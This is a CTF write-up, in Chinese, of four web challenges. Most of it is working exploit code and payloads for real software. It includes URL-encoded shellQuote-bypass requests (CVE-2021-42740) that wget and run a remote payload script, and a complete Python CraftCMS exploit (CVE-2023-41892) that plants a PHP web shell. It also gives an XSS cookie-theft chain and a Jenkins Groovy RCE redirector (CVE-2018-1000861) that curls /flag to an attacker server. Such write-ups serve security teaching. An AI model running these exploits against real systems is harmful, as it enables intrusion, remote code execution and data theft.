Ave Mujica’s Masquerade
CVE-2021-42740
return String(s).replace(/([A-z]:)?([#!"$&'()*,:;<=>?@\[\\\]^`{|}])/g, '$1\\$2');
利用 A-z 之间的特殊符号 :`something`:
实现 RCE
shellQuote 添加的转义符会被两层反引号恢复(部分特殊符号会失效,需绕开)
payload.sh
cp `ls /flag*` public/s3ven.txt
wget 把 payload.sh 写到目录下
wget <file_server_ip>/payload.sh -O payload.sh
绕过shellQuote
GET /checker?url%3d%3a%60%3a%60wget%24IFS%5chttps%3a%2f%2f%3cfile_server_ip%3e%2fpayload.sh%24IFS%5c-O%24IFS%5cpayload.sh%60%60%3a%23 HTTP/1.1
chmod 给权限
chmod 777 payload.sh
绕过shellQuote
GET /checker?url=%3a%60%3a%60chmod%24IFS%5c777%24IFS%5cpayload.sh%60%60%3a%23 HTTP/1.1
执行 sh
./payload.sh
绕过shellQuote
GET /checker?url=%3a%60%3a%60.%2fpayload.sh%60%60%3a%23 HTTP/1.1
访问 /s3ven.txt 即可获得 flag
craftcms
CVE-2023-41892
先用 Imagick vid:msl
协议写入 shell
再用 PhpManager.php
包含 shell 实现 RCE
浅改一下网上的POC,然后用 python 一把梭
import requests
import re
import sys
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36"
}
def writePayloadToFile(tmpDir):
data = {
"action": "conditions/render",
"configObject": "craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}'
}
files = {
"image1": ("poc.msl", """<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php @system(@$_REQUEST['cmd']); ?>"/>
<write filename="info:TEMPDIR/shell.php">
</image>""".replace("TEMPDIR", tmpDir), "text/plain")
}
response = requests.post(url, headers=headers, data=data, files=files)
def getTmpUploadDir():
data = {
"action": "conditions/render",
"configObject": "craft\elements\conditions\ElementCondition",
"config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
}
response = requests.post(url, headers=headers, data=data)
pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
match = re.search(pattern1, response.text, re.DOTALL)
return match.group(1)
def shell(cmd, tmpDir):
data = {
"action": "conditions/render",
"configObject": "craft\elements\conditions\ElementCondition",
"config": r'{"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"TEMPDIR/shell.php"}]}}'.replace("TEMPDIR", tmpDir),
"cmd": cmd
}
response = requests.post(url, headers=headers, data=data)
match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)
if match:
extracted_text = match.group(1).strip()
print(extracted_text)
else:
return None
return extracted_text
if __name__ == "__main__":
if(len(sys.argv) != 2):
print("Usage: python CVE-2023-41892.py <url>")
exit()
else:
url = sys.argv[1]
print("[-] Get temporary folder ...")
upload_tmp_dir = getTmpUploadDir()
tmpDir = "/tmp" if upload_tmp_dir == "<i>no value</i>" else upload_tmp_dir
print("[-] Write payload to file ...")
try:
writePayloadToFile(tmpDir)
except requests.exceptions.ConnectionError as e:
print("[-] Crash the php process and write temp file successfully")
print("[-] Done, enjoy the shell")
while True:
cmd = input("$ ")
shell(cmd, tmpDir)
easy latex
URL
类可以控制参数生成任意地址,
路径字符串拼接可以控制参数生成任意同源地址
通过相对路径让bot访问 /preview
,绕过 VIP 和 CSP 限制
XSS通过 latex.js
的 baseURL
实现
关于 HttpOnly
的绕过,构造特定 token,通过 XSS 访问 /vip
路由,让服务端送出Cookie
登录拿token
username: //<host>:<listen_port>
password: md5(username)
XSS脚本
document.cookie = 'token=<token>; expires=Sun, 1 Jan 2024 00:00:00 UTC; path=/'
fetch('/vip', {
method: "POST",
credentials: 'same-origin'
});
在 server 上开两个端口,分别用于 listen 和 fileserver,仿照 theme 目录结构,访问/share
路由唤起 bot
/share/..%2fpreview%3ftheme%3d%2f%2f<host>:<fileserver_port>&tex=111
这里 POST 给 /vip
的地址访问不了的话能直接炸靶机
hooks
本题主要是利用 CVE-2018-1000861 实现 Jenkins远程命令执行
实现原理:
Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。
通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。
1. 请求方式更改
由于 Github
和 Gitlab
发送的 Webhooks 请求均为 POST
请求
而如果尝试直接将 Webhooks 以 POST请求 的方式发送至靶机
会得到 Method Not Allowed
的提示
因此需要利用公网 server
来中转请求
将 POST
请求更改为 GET
请求来让靶机上的 flask server 接收
2. Webhooks 平台选择
由于题目中写的是 Abuse Gitxxb Webhooks,并未指明是使用 Github
还是 Gitlab
但其中只有 Gitlab
的 Webhooks 支持 302 Redirect 请求跟踪
由于需要使用公网 server
的 302 Redirect 来中转请求
因此我们考虑使用 Gitlab
的 Webhooks
3. 中转服务器配置
在中转服务器(需要公网ip)中配置 flask server 来更改请求方式
具体实现代码如下:
from flask import Flask, request, redirect
app = Flask(__name__)
@app.route('/redirect', methods=['POST'])
def redi():
return redirect('http://<attack_server>:<port>/?redirect_url=http%3A%2F%2Fjenkins%3A8080%2FsecurityRealm%2Fuser%2Fadmin%2FdescriptorByName%2Forg.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript%2FcheckScript%3Fsandbox%3Dtrue%26value%3Dpublic%20class%20x%20%7Bpublic%20x()%7B%22curl%20-X%20POST%20-d%20%40%2Fflag%20http%3A%2F%2F<own_server>:<listen_port>%22.execute()%7D%7D',code=302)
if __name__ == '__main__':
app.run(debug=True,host="0.0.0.0",port=<webhooks_port>)
4. Gitlab Webhooks 配置
配置 Gitlab Webhooks 链接如下
http://<own_server>:<webhooks_port>/redirect
进行一次 Webhook 测试,即可获得 flag
POST / HTTP/1.1
Host: <own_server>:<listen_port>
User-Agent: curl/7.52.1
Accept: */*
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
flag{85f240c4983a496fac9d5b44daa3149a}